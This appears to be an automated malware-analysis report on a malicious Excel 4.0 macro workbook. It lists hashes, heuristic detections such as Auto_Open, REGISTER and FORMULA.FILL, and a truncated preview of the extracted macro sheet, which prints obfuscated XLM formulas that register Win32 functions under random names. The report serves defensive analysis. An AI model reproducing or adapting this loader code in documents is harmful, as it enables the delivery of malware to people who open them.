Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f6b1866e82383371…

MALICIOUS

Office (OOXML)

92.6 KB Created: 2020-06-29 03:14:54 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 491e744caea98d6daf79ea143f5c501b SHA-1: 30c90a67d51cc94cc5ef0aec92daf95dec67aef3 SHA-256: f6b1866e82383371b5ecd67b54c2bae6796b010379078c2d47f9bf534870ea73
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro-enabled document. Heuristics indicate the use of dangerous XLM functions like FORMULA.FILL, REGISTER, and HALT, which are commonly used to download and execute arbitrary code. The presence of an obfuscated URL in the document body further supports the payload delivery intent.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, REGISTER, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 40881 bytes
SHA-256: 092b32ae48caef021e9d368ec949546b04e3d87dceddcbf81282666a1f8f7bd7
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A65:IN59570"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="65" spans="65:65" x14ac:dyDescent="0.25"><c r="BM65"><v>30573</v></c></row><row r="66" spans="65:65" x14ac:dyDescent="0.25"><c r="BM66"><v>236</v></c></row><row r="163" spans="73:89" x14ac:dyDescent="0.25"><c r="CK163" t="s"><v>39</v></c></row><row r="174" spans="73:89" x14ac:dyDescent="0.25"><c r="BU174" t="s"><v>6</v></c></row><row r="232" spans="98:98" x14ac:dyDescent="0.25"><c r="CT232" t="s"><v>15</v></c></row><row r="468" spans="215:215" x14ac:dyDescent="0.25"><c r="HG468" t="s"><v>7</v></c></row><row r="498" spans="35:35" x14ac:dyDescent="0.25"><c r="AI498" t="s"><v>35</v></c></row><row r="586" spans="53:53" x14ac:dyDescent="0.25"><c r="BA586" t="s"><v>46</v></c></row><row r="639" spans="218:218" x14ac:dyDescent="0.25"><c r="HJ639" t="s"><v>17</v></c></row><row r="757" spans="23:23" x14ac:dyDescent="0.25"><c r="W757" t="s"><v>40</v></c></row><row r="1084" spans="118:118" x14ac:dyDescent="0.25"><c r="DN1084" t="b"><f>FORMULA.FILL($IL$31806&amp;$AI$5165&amp;$DH$27919&amp;$CO$54823&amp;$M$39482&amp;$GA$32736&amp;$AA$8604&amp;$I$34363,$CB$45611)</f><v>0</v></c></row><row r="1085" spans="118:118" x14ac:dyDescent="0.25"><c r="DN1085" t="b"><f>$FF$2725()</f><v>0</v></c></row><row r="1101" spans="98:98" x14ac:dyDescent="0.25"><c r="CT1101" t="s"><v>17</v></c></row><row r="1178" spans="136:136" x14ac:dyDescent="0.25"><c r="EF1178" t="s"><v>13</v></c></row><row r="1573" spans="38:38" x14ac:dyDescent="0.25"><c r="AL1573" t="s"><v>21</v></c></row><row r="2101" spans="6:6" x14ac:dyDescent="0.25"><c r="F2101" t="s"><v>40</v></c></row><row r="2260" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2260" t="s"><v>15</v></c></row><row r="2308" spans="24:24" x14ac:dyDescent="0.25"><c r="X2308" t="s"><v>20</v></c></row><row r="2518" spans="222:222" x14ac:dyDescent="0.25"><c r="HN2518" t="s"><v>5</v></c></row><row r="2648" spans="48:48" x14ac:dyDescent="0.25"><c r="AV2648" t="s"><v>1</v></c></row><row r="2724" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2724" t="b"><f>$IB$30573()</f><v>0</v></c></row><row r="2725" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2725" t="b"><f>REGISTER($CN$23769,$IN$47003,$CI$23759,$BP$44210,,1,9)</f><v>0</v></c></row><row r="2726" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2726" t="e"><f>vhlMzwqJ($DY$23208,0)</f><v>#NAME?</v></c></row><row r="2727" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2727" t="e"><f>vhlMzwqJ($CP$28578,0)</f><v>#NAME?</v></c></row><row r="2728" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2728" t="b"><f>REGISTER($CC$1713,$AT$33687,$G$17366,$CW$37754,,1,9)</f><v>0</v></c></row><row r="2729" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2729" t="e"><f>gVpgXkve(0,$BB$54,$AQ$32784,0,0)</f><v>#NAME?</v></c></row><row r="2730" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2730" t="b"><f>IF($FF$2729&lt;&gt; 0)</f><v>0</v></c></row><row r="2731" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2731" t="b"><f>REGISTER($FR$20157,$AV$46981,$AF$23248,$AH$1578,,1,9)</f><v>0</v></c></row><row r="2732" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2732" t="e"><f>kXKlHUiQ($BB$54,$AQ$32784,1)</f><v>#NAME?</v></c></row><row r="2733" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2733" t="b"><f>END.IF()</f><v>0</v></c></row><row r="2734" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2734" t="b"><f>REGISTER($DI$45538,$AI$11364,$IK$54530,$CB$45611,,1,9)</f><v>0</v></c></row><row r="2735" spans="162:162" x14ac:dyDescent="0.25"><c r="FF2735" t="e"><f>hEayEBMP(0,$AN$55220,$EX
... (truncated)